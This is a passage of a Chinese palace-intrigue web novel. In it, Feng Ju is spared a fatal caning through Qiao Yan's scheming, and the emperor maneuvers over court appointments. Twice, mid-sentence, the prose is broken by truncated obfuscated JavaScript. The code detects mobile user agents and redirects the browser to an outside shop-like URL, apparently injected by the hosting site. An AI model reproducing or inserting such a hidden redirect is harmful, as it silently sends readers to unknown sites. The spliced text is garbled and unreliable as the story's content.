董玉莲吓了一跳，不仅是他，冯矩的这一声认罪落下，满屋子鸦雀无声，好几个曾与冯忱交好或仰佩其为人的官员猛地抬头，对冯矩怒目而视。 乔燕倏地闭上了眼，眼角有一点濡湿。 首辅束继文气得满面涨红：“冯矩，你可想好了！” “阁老不要动怒，”满屋子最镇定的或许只有林元海了，他和气地道，“大家聚在这，不就是为了议冯家之罪么，既然冯矩认下罪，那一切都好说了。” 盐运司归户部管，这次贪墨一案被揭出来，牵连了大大小小无数官员，连户部一位侍郎都被砍了头，并且到现在为止，去年一年的账都没能抹平，在场官员里，户部尚书是最想查清这一案的。 林元海话音一落，户部尚书就迫不及待地开了口：“太傅说的在理。这次盐运贪墨一案，户部账册遭清算，才发现账记得有问题，去年一年整整少了二百万两白银，诸位大人，咱们今天在此议事，还请记着自己的身份，只为圣上分忧，争取早些把这笔银子找出来。” 文景帝眼睛不睁，只道：“问。” 董玉莲定定神，开口：“冯矩，盐运司贪墨的二百万，被你们冯家藏哪里去了？” “我不知。” “你身为冯家人，冯忱独孙，会不知？”董玉莲冷笑，“我看你是御前妄议，该杖二十。” 这是大齐律的规矩，往常也不是没有当庭杖人的例子，是以文景帝并未有异议。 唯有乔燕脸色微变，林元海老神在在地束袖端立，却也在此时不忍地皱起了眉。 董玉莲上来便杖，毫不给冯矩开口的机会，有些太急了…… 门外进来两个太监，一左一右拽住冯矩胳膊，就要把他拖起来。冯矩忽然抬头，直视着文景帝的脚尖的方向，“罪人冯矩有话说。” 文景帝抬了抬右手手指，董玉莲意会，不得不止住太监的动作：“什么话？” “在受杖之前，请圣上准矩状告东厂！” 又是一块巨石砸入水面，在洗心殿翻起惊涛骇浪。 乔燕终于忍不住看他，却只见他神情苍白平静，像是早已将生死献祭于当庭。 不等文景帝开口，一旁的工部尚书抢白：“一桩事一桩毕，稍后再议。” 刑部尚书皱着眉，冷冷地道：“稍后议什么议，无辜百姓告御状尚要敲登闻鼓，受五十杖，他乃戴罪之人，如何能这般信口直言，法理何在！” “在理，”文景帝终于开了口，“冯矩，你与东厂有宿怨在前，你的状，朕不想听。” 语罢，他动了动手指，董玉莲无声地松了口气，示意左右：“行刑吧。” 乔燕忽然低低地开口：“圣上，妾有些不适，想先行告退。” 文景帝看了她一眼，见她脸色发白，没什么血色，只当她被这番阵仗吓到了，没有为难，摆手允了。 乔燕却行至侧门，一出门，立马转身加快了步子，正巧赶上董治盯着人押冯矩至台基下的空地上。 “董治！” 董治还站在台基上，闻言回身，笑着行了个礼：“奴婢有事，乔娘娘有什么吩咐旁人吧。” “我身体不适，要你送我回宫，旁人我不放心。” “娘娘……”董治笑里透了点不耐烦，他这儿还有干爹的差使要做，哪儿腾的开身应付小姑娘。 乔燕盯着他，冷笑：“怎么，现在主子都唤不动奴婢了吗？” 说着，走近一步，用只有两人听得见的声音道：“我这是在救你。” 董治一凝，仿佛没有听见，盯着远处的太监放倒冯矩，提着棍子。要死要活，就等他“示下”了。 乔燕顺着他的目光看去，只见冯矩无声息地趴在长凳上，脸侧向另一边，乌黑的发有些凌乱，透过白色中衣，几乎可见嶙峋的肩骨。 只看了这一眼，乔燕就逼自己移开眼睛，只盯着董治，继续道：“圣上要他开口，要那二百万，他如果这时让你杖死了，圣上发怒，董玉莲真的保的住你吗？你一心为董玉莲办事，他却只把你当趁手的刀。你送我回宫，任他们打，打死打活都不关你的事，回头董玉莲也怪不到你。” 说着，乔燕提高了音量，神情跋横：“送我回宫，不过一个奴婢，连主子的命都不听吗？” 董治心思急转。 刚才出来前，董玉莲将手里的拂尘换到了左手，这是要他“死杖”的意思。但乔燕说的对，若文景帝发起火来，这火只能冲着他来。 而他若跟着乔燕离开，没有他给的“暗示”，这群人不敢下死手，到时候二十杖下去，也不过只是皮肉伤。之后干爹肯定要怪罪，但他有因缘在前头，尽管推到乔燕头上就是。 这些念头不过瞬间就在心里过了一遍，董治一咬牙，有了决断，低头躬身，道：“奴婢这就送您回去。” 一整天，乔燕枯坐廊下，看着四方天空，静静等着那人的结局。 细数短暂的今生，本以为入宫后与他再不相关，却不想命运反而更为紧密地交缠在了一起。 天色暗了，尚食局送来饭菜，又原封不动地端走。乔燕一动不动，终于在晦暗里等来两盏橘黄的灯火。 乔燕猛地站了起来，来到院中。 唐直抒引着林元海走来。 隔了七八步，唐直抒就止住了步子，熄了灯站在如意门外。 “乔娘娘。” 林元海走近，对上乔燕期待的眼神，微微一笑，忽然往旁边让了一步。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998453|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 身后阴影里垂首立着一人，那人自斗篷里伸出苍白枯瘦的手，缓缓揭落斗篷的帽子。 乔燕的心疯狂地跳动起来。 “让他自己跟您说。”林元海道。 乔燕回过神，惊喜之外难免生出忧虑：“这不碍事么？” “我有我的法子，”林元海看了眼不远处的唐直抒，“只是时间不多，须赶在落锁前离宫。” 乔燕终于看向冯矩，有许多话想说，然而他们的身份在这，大多不能说。 “娘娘。” 倒是冯矩先动了，他蹒跚地走了一步，深深一揖：“谢娘娘为我谋划。” 乔燕却慢慢收了笑，自嘲道：“我要你活，其实和他们逼你死没有任何区别，我们都在全自己的私心，不必谢我。” 冯矩本有其他话要说，然这脱口而出的“私心”二字，却宛若滚烫的刑烙，一下摁在了他的心头，留下剜心的痛。 一身罪业，自陷深渊，却还有人一心要他活。 很难描述当他意识到这点时的心情，他只知道，他的勇气来源于此，这条路荆棘遍地，全靠这点勇气支撑着他前行。 今日入洗心殿，他一眼就看到了她，衣衫华贵，立于高台。 那一瞬，他想把自己藏起来。 这些剖心之言，他却不能说，只怔怔的，慢慢地摇了摇头。 乔燕苦笑：“你今天当庭要告东厂的状，谁都看得出来，你是存了死志的。” 冯矩道：“这话是林太傅教我的。” 乔燕看向林元海，林元海道：“说来无人知，圣上于上个月，命我秘密接回二皇子，如今就在西苑的问天观内。” 这又和二皇子有何关系？ 乔燕怀着疑惑听着。 “我就长话短说了，二皇子是冯老的学生，与内阁走得近，六年前因祸被圈禁，内阁没了这棵大树遮挡，才被东厂一步步压着到这个地步。如今董党一家独大，未必是圣上愿意看到的，圣上瞒着董玉莲解禁二皇子，恐怕……” 说到这里，早已喜怒不形于色的林太傅也忍不住露出了些许激昂。 他平息了少顷，方继续道：“此前冯矩拜入董玉莲门下，都以为他是董党，今日借此机会便是要告诉圣上，他与董玉莲并非一心，是圣上对付董党的可用之人，如此一来，我为他求情也容易一些。” 乔燕感慨：“您用心良苦。说起来，我走后，那二百万两议得如何？” “和娘娘想的一样，圣上他老人家让我们回去后再议，三天内将这笔钱找出来。圣上这是给了最后的脸面，有人当然要把这笔钱拿出来。” “那冯矩呢？” “还是如之前说的一样，待银子拿出来，案子了结，官复原职，等养好伤便可随我回翰林。” 乔燕皱起眉：“他的伤……” “都是皮肉伤，”冯矩接过话，“过一段时间就好了。” 乔燕还有很多想问的，但她发现无论怎么问，都会揭开冯矩的伤疤，于是全都咽了回去。 林元海等了一等，见他们没有什么要说的了，于是对冯矩道：“子规，你去唐公公那儿等我。” 冯矩依言离开。林元海注视着他的背影，叹了口气：“娘娘，你也看到了，他如今全凭一根线吊着。今日救他，我竟说不好是错是对，看他活着，我反而觉得生了罪。” 乔燕苦笑。 林元海一拱手：“时辰不早了，娘娘早些歇息。” “等一下。” 乔燕朝廊下招手，宜婵立马拿着东西走了出来。 “秋夜风寒，太傅戴上这幅袖筒和暖耳，夜路走起来也暖和些，”乔燕又拿起另一套，“这是给冯矩的，我就不过去了，劳您带给他。” “娘娘不过去是对的。” 乔燕沉默地凝视着冯矩的侧影，忽而松了胸腔里的那口气，“您一路小心。” 10. 二郎 乔燕放下手里的题本。随行太监一人接过题本，另一人递来盛着温水的瓷盏，乔燕就着杯沿，无声地吞咽了一下。 这点水还不够润嗓的，但冒烟的喉咙好歹受到了些许抚慰。 寅时起惯是文景帝批阅奏疏的时候，日头渐短，正殿宽阔，总有穿堂风过，文景帝畏冷，便搬到了旁边的暖阁里。 入秋不久，炉里已燃起了银丝炭。 屋外星子尚满天，一应协理政务的人已在屋内落座。而就在内阁一侧的末位，坐着一个本不该出现在此的人——冯矩。 首辅束继文为此已经气得递了一次辞呈，被文景帝驳回。束继文不肯入宫，只得暂时由次辅温却疾补上。 温却疾对这个年轻人亦不满，但他的性子没有那么刚强。且冯矩是由林元海推荐，文景帝首肯，以翰林修撰身份旁听于此，于公于理，都没有反对的地方。 乔燕刚刚读完的题本乃福建巡抚所陈，奏报广东总督田光珍开海一事。朝廷对海外贸易格外重视，在田光珍的推动下，广东市舶司组好船队，首次出海，谁料竟遇风暴潮，十死无归。 这一趟，算上七艘宝船，损失足有三百八十万两。 文景帝面露不虞，“朕看田光珍这总督也是做到头了，还有市舶司的总管太监，一起拿了入京问罪，温卿，这案子就交给都察院审理。这样大的罪，内阁票拟竟想大事化小，朕只饶过这一回，再有下次，按朋党处置。” 温却疾不敢说话，闷头提笔写下新的票拟，由小太监交给司礼监代掌印董治。董治拿起手边的印章，小心按下，乃“准”一字。 文景帝敲了敲椅子的扶手，问：“福建总督一职由谁担任好？” 堂下人自眼风里互相张望，一时竟无人开口。题本乃文书房分拣后送到皇帝手上，那这议事过程，董玉莲那边应该早有打算，可是内阁这边等了片刻，司礼监那头竟全都一声不吭，从未有过的安静。温却疾心里暗暗纳罕，更打起了精神，斟酌道：“一省总督乃系家国大事，轻忽不得，不如先由巡抚王涯兼任，待后再慢慢堪选。” “照准。”文景帝又问道：“年初户部开给浙广两省的市舶司的预算，还剩多少？” 温却疾兼任户部尚书，闻言答道：“回圣上，市舶司本打算通过海贸挣回白银，年初报了三百万的预算，如今已然亏空八十万。” 文景帝沉默片刻，说道：“海贸风险太盛，如今国库吃紧，等到了冬天，还要防着北边鞑靼进犯，开海之事，姑且停下，日后再说吧。” 温却疾张了张嘴，又闭上了。 文景帝道：“继续议事。” 乔燕才歇这一会儿，就又拿起下一篇文书，翻开折子，看到抬头，心头浮上些无奈。 “臣罪臣何舂请以江宁织造提督太监刘敬罪状以告之……” 何舂又来弹劾司礼监的人了。 文景帝听完，连眼皮子都没动弹一下。乔燕深明圣意，将奏疏递给身边的太监，太监送到堂下，董治印下另一枚印章，乃是朱红的“驳回”。 乔燕拿起下一封奏疏，揭开薄册的硬封，端正的行文映入眼帘，她的动作微不可察地一顿，几乎是下意识想看向冯矩的位置，好在理智尚存，克制住了。 这封题本由东厂、锦衣卫、刑部、户部共同署名，文末的印章就印了差不多一整页。 冯家贪墨案的二百万两“找”到了。在江西冯家祖宅找到的。 空旷的大殿里，众人沉默地坐着，唯有女子清亮的声音。 在场这么多人，其实谁都知道这样冠冕堂皇的话下，掩盖着多么肮脏的真相。 但是文景帝不在乎，这个王朝最高的掌权者不在乎。他只在乎一直和他作对的冯忱有没有死，只在乎最后能不能拿到这笔银子。 于是这样的指鹿为马，摇身一变成了最明目张胆的阳谋。 而这其中的递刀人，竟然是冯忱的亲孙子！ 多么荒唐。 随着最后一个字节落下，几乎所有目光都落在了末尾的年轻官员身上。处在目光中央的人垂着眼，古井无波，对这一切似乎置若罔闻。 他的这份淡漠，在有的人心里轰的化成升腾的怒火。 “冯矩！” 拍案而起的是温却疾手边的翰林官员，他看起来还很年轻，因愤怒而脸色涨红。 在他说出不该说的话之前，温却疾按住了他的肩。 “坐。” 翰林官员僵在原地，不肯坐下，似乎这一坐下去便代表着先低了头。这一刻，他从怒火里不自禁地生出一股豪迈与慷慨，双手扶上了头顶的梁冠。 这个动作一出，直面他的董治露出了惊惶的神色。 整洁的衣冠不外乎是齐朝士大夫的第二条命，当他们去衣除冠时，往往只有一个含义——他们准备豁出这条命了。 幸好幸好，在他脱冠之前，温却疾猛地加大了手劲，他不设防下竟真被拉坐了回去。 “晨议未完，你还站着干什么！我知道你急着去束阁老家里探病，但这是在御前，做事前要三思。”温却疾喝道。 有些事讲究的是一鼓作气，那一口气没了，要再提起来是很难的事。 翰林官员咬着牙，到底忍了下去。 董治这才似找回了一口气，抬起袖子擦了擦额头，回想起自己方才的表现，不由有些恼羞成怒，故意激道：“我看宋大人像是有话要说。” 温却疾不睬他，面向上首：“圣上，晨议未完。” 隔着香炉，一直不作声的文景帝这才道：“既然银子有了，工部也该做事了，着钦天监算一下，在雨季前将皇陵修好。” “是。” 松了口气，温却疾这才有工夫朝冯矩那里瞥了眼，只看到一脸平静。 从前冯忱任首辅时，行事有些不留情面，下过温却疾的面子，二人不太合。但此时此刻，想到冯忱枉死，而他的孙儿淡漠至此，温却疾心里不由也生出一声哀叹。 文景帝也朝冯矩看了一眼，心中不喜，故意说道：“冯矩，你大义灭亲，功不可没，朕要嘉奖你。” 冯矩出列，跪地叩首：“为圣上分忧乃为臣本分，微臣不敢要赏赐。” 文景帝淡道：“之前答应过，此案既了，就让你官复原职。从今天起，你就回翰林院好了。林太傅，朕把人还给你了，你多费点心好好指教，别的不说，孝悌忠义，总得占两样。” 林元海出列称是。 文景帝看向董玉莲，神情淡淡的，声音也不辨喜怒，“这回的案子拖了这么久，朕看来看去，都是因为东厂的奴婢不够尽心。都是朕不够体恤，没有想到董大伴也一把年纪了，还要兼管两司的事务，这才有所疏漏。你日后还是做回司礼监掌印，东厂提督就交给唐直抒。” 声音传到堂中，董治眼前一黑，刷的抬起头，扶住桌子。香炉后董玉莲低低地应了一声是。 散会前，文景帝又想起一件事：“户部右侍郎一职还空着，可有廷推人选？” 廷推本该由内阁首辅主持，但最近束继文和皇帝闹得厉害，正罢工着。温却疾心里暗暗叫苦：“还未曾。” 文景帝不快：“一科堂官怎能一直空着，还不快点。” 温却疾硬着头皮开口：“元辅病休在家呢。” “那就由你这个次辅主持！” 说到内阁成员，文景帝又想起：“内阁现今仅有两人，不如趁着廷推将入阁的人选也议一议。” “是。” 既然皇帝都在催了，当天下午就由温却疾主持，在文渊阁开了廷推。 参与人员除了六部堂官，还有大理寺卿、左都御史、通政使、国子监祭酒等官员。林元海作为三公之一也应邀前来。 从站位来看，这些文官大致可以分为两派。 以刑部、工部、吏部等衙门为首的官员，官升至此，多少都曾走过董玉莲的门路。其他文官，则以内阁为首，报团取暖。 两者之间泾渭分明，林元海最后一个推门进屋，眼皮子抬了抬，慢慢站到了正中间。 今日要推选的两个职务都是朝廷要职，双方磨了一下午的嘴皮子，最后定下三个户部右侍郎的备选人员，和五名内阁备选。温却疾起草亲笔写了制对，当夜就送进了宫里。 清心殿的地龙一入秋就烧了起来，殿内热气蒸腾。 文景帝刚浴完发，赤脚坐在床边，拿着文书，举到远处，眯着眼看着上面陈列的名字及相关资历。 看着看着，他的面色没有什么变化，心底却升起一股烦躁。 关于户部右侍郎廷推的三个人选，一个是董玉莲的门生，一个是束继文的学生，还有一个看起来与两方党派都无关联，却是凤阳府知府钱毋的连襟。而钱毋当初能任知府一职，还是董玉莲在他跟前举荐的。 据锦衣卫里的钉子密报，近来董玉莲胃口越来越大，让文景帝隐隐觉得不快。如果要平衡两方的势力，最好是选束继文的学生，拉内阁一把。 但提到内阁，文景帝一想到那群前赴后继跟他作对的文臣，又觉得心里膈应。 思来想去，偌大的朝廷，竟没有一个能让他满意的人选。 翌日晨议，温却疾开口询问文景帝最终定下的人选。香炉后面沉默少倾，开口时却是朝一旁的乔燕说的。 “乔氏，朕记得你有好几位兄长？” 这是入宫后第二次被文景帝点名。乔燕知道皇帝这是又遇到了为难的事，心里发苦，却不得不答：“是。” “说说。” 乔燕站得毕恭毕敬。 “臣女有四位兄长，次兄乔湛任翰林选侍。三兄乔仁是大伯的独子，和四兄乔翀都在国子监进学，准备明年的秋闱。” 文景帝盘算了片刻，皱起眉：“朕数着，怎么只说了三个？你的大兄呢？” 乔燕面露尴尬：“长兄谪去岭南已有六年……他性情狷狂，说来怕惹您不快。” 一个名字随着她的话浮上文景帝的心头。已经过去这么多年，想起这个人，文景帝仍然心里发堵，不由冷笑了一声。 乔家长子乔沅，少年状元，天资卓秀，文章风流。 六年前，问天观的道长得上天赐下一味仙丹，需要用处子之血练就，文景帝便诏阖宫上下，用真金白银换宫女们自愿进献。 文景帝自认已经做得很民主、很仁慈了，却不想还是在臣子之中激起滔天巨浪。他称病不见人，将相关奏疏留中不发，本以为忍一段时间便好，孰料那群文官见得不到回应，竟凑了百十余人，呼啦啦跑到承天门前撼门痛哭。 其中哭得最为积极的，便是刚钦点的乔状元。 那等场景，与国丧无异！ 那几天，京城里流传的都是一代昏君怕是要殡天的消息。 文景帝气得七窍生烟，一怒之下让锦衣卫把能抓的都抓了起来，尤其是一枝独秀的乔沅，被他直接扔到了寸草不生的岭南，并放下狠话，有他在位一日，此人都不得离开岭南半步。 直到现在，想起乔沅，文景帝的心里都堵得慌。 旧恨涌上心头，文景帝咬牙问：“近来可有乔沅消息？” 每过一段时间，文景帝想起这位，都会有此一问。 董治抬头看向对面，见温却疾和身边几人都无开口的意思，只得道：“回圣上，迄今为止，通政司每月都会送来的乔县令的奏本。乔县令一如既往地哭诉抱负不展，壮志难酬，每日以酒解忧，郁郁度日。” 乔燕低着头，差点没崩住。 她这位大兄也是个人才，犯了事后才知道惜命，知道文景帝不想见他痛快，故意做出不得志的模样。 文景帝果然露出满意的神色，不在在此纠缠，语出惊人：“乔湛我有点印象，刚正不阿，年少有为，当年是我亲自授予的庶吉士，这等人才，为何不在廷推之列？要我看，他任户部右侍郎倒是正好。” 听他们一对一答到现在，温却疾心里早有预感，闻言还是一阵眼前发黑，忙道：“不妥！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002991|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何来不妥？” 温却疾避席跪地：“乔湛乃文景三十五年进士，入翰林不过五载余，从未到六部观政，经验尚有欠缺，怎能担此大任。” 文景帝淡道：“选官任贤，当不拘一格。不过安臣的顾虑也有些道理，这样，既然欠缺经验，不如就先由他学习一二。你们选的三个人里面，原礼部祭祀郎中费咏这些年功绩尚可，擢户部右侍郎，乔湛补上郎中的缺。” 费咏是束继文的学生。此言一出，廷中诸人面色都有变化。 能说出这句话，文景帝也算退了一步，温却疾见好就收，没有继续争下去。 文景帝又道：“朕还让廷推入阁名额，怎么没交上来？” 温却疾低头：“臣等商议过，没能商议出个结果来……臣不能使服众，遴选阁员一事，还是得元辅主持。” 一句话，温却疾表面上没什么异样，然而乔燕余光打量，看到他鼻尖上对着亮光的地方有一层汗。仔细一想，就明白了，如今内阁就他和束阁老两位阁臣，束阁老又称病不来，圣上跟前，可不只剩他一个人撑着。便是再镇定的人，一直面对圣上的问责，也会吃不消。 洗心殿事毕，乔燕带着宜婵慢慢步下踏跺。 温却疾从身后过来，乔燕忙避到一旁，微微垂首，极尽尊敬。温却疾却仿佛没看见，抬着下巴，目视前方地走了过去。 乔燕微微叹息。 内阁为首的文臣，面对她时多是这个态度。温次辅这已是好的，换成束首辅，每每还要拂袖冷哼一声。 “娘娘何必让他先行呢。”宜婵有些打抱不平。 “不怪他们，”乔燕说，“你别看他们这些人在我面前横眉冷眼，但是一国之家，泱泱生民，全都压在他们肩上，他们为天地立心，为百姓立命，是齐国的脊梁，我敬一下不为过。” 宜婵撇嘴：“总有一日，他们能看出您的好。” 乔燕没有说话。 宜婵看了看她的脸色，低声问道：“娘娘有心事？” “圣上要让二哥去礼部。” 宜婵不解：“这不是好事么，二少爷在翰林院待了五年，也是时候入六科参政了。” 乔燕摇摇头：“一开始，圣上开口要擢二哥任户部右侍郎，我不知道廷推的人选，但看堂中诸人脸色，二哥恐怕不在廷推人选之中。后来是温阁老反对，圣上才退了一步，让二哥去了礼部。圣上是故意的。” 故意把乔家推出来，推到风口浪尖，一来作挡箭的筏子，二来，乔家刚向皇帝表过衷心，站在圣上一边，把乔家的人安插进六科，能撬动抱成一团的文管集团，让皇帝松一口气。 宜婵倒吸一口凉气。 皇帝当然可以绕过廷推人选擢升官员，但这样升上来的官员旁人又怎会服气。更别提乔家因为送女儿入宫，还在被戳脊梁骨呢。 忽然有人自身后低低唤了一声：“娘娘。” 乔燕心跳霎时慢了半片，讶然回首，看到走在后面的竟是冯矩。 “乔娘娘。” 冯矩停住脚步，拱手施了一礼。 “不必多礼。” 乔燕只敢看他一眼，很快又转回头，直视前方，缓步徐行。 冯矩跟在她后面三四步远的地方。 “今日圣上提拔乔大人，您不必觉得恩重。乔家本来就有一位阁老，受牵连燕居在家，罚得其实重了，圣上今日此举，应有弥补之意。” 礼部素有“小内阁”之称，内阁的阁臣均曾在礼部任职。文景帝力排众议也要把乔湛塞进去，这个恩情乔家不得不受着。 乔燕没有回头，静了片刻，笑道：“我的脸色是不是不太好？” “是微臣唐突。” 乔燕摇了摇头，看向远处的天空，这才发现晴空如洗，一时觉得心胸也疏阔许多。 “不瞒你说，今日看到两位起居舍人运笔如飞，不知要怎么记我一笔，我心里确实不太痛快。有人特意跟我说这些，让我好受了一些。” 静了一瞬，乔燕又道：“今天这道旨意来得突然，圣意莫测，我二哥那个人过于清直……恐怕受不得这些。” 提到乔湛，冯矩一时也沉默了。 乔湛是冯忱的学生，和冯忱简直是一个模子里刻出来的，礼法为筋，纲常为骨，眼里容不得沙子，认定的事只会往前走，不说后退了，拐个弯都是折辱。 这道旨落在乔湛头上，直闯宫门拒旨都是有可能的。 说话间，已经走到了路口。乔燕看了眼出宫的路，停下脚步，面露踌躇：“你是不是要去翰林院……” “是。” 乔燕抿唇，说道：“我二哥现在应当还在翰林院，你如果见到他，能不能帮我带一句话。” “您说。” “旨意恐怕马上就到翰林了，也不知道还赶不赶得上。如果赶上了，你问他，个人荣辱和家族兴衰哪个更重要。” 说着，乔燕忍不住扭头，看向冯矩：“我是不是不该用这样的话逼他。” 冯矩轻声问：“您入宫时，是不是也听过这样的话。” “是，但与二哥无关，”乔燕眼睛有些干涩，用力眨了眨，“定下主意送我入宫的是父亲，也许也有大伯的授意，他们知道二哥和四哥不会同意，一直瞒着。四哥不同意是因为和我亲近，二哥不同意是因为这样做违心。” “外面都说乔四郎心性单纯，其实要我看，二哥才是最坦率的。你见到他，让他不要冲动，先回家听一听长辈的意见。” 冯矩又想起了自己的祖父。他们这种人，好像骨头天生就比别人要硬，心窍就比别人要直，在认定的道理跟前，血亲都要让步。 “您放心，我会劝他。” 他们停在路口时间有点久了，眼见有人路过，冯矩行了一礼就要告退。 乔燕看着他转过去的背影，心中不舍，脑袋一热，脱口喊道：“二郎。” 冯矩脚步一顿，眼眶发热，低低地道：“不要犯傻。”说完就走，不曾回头。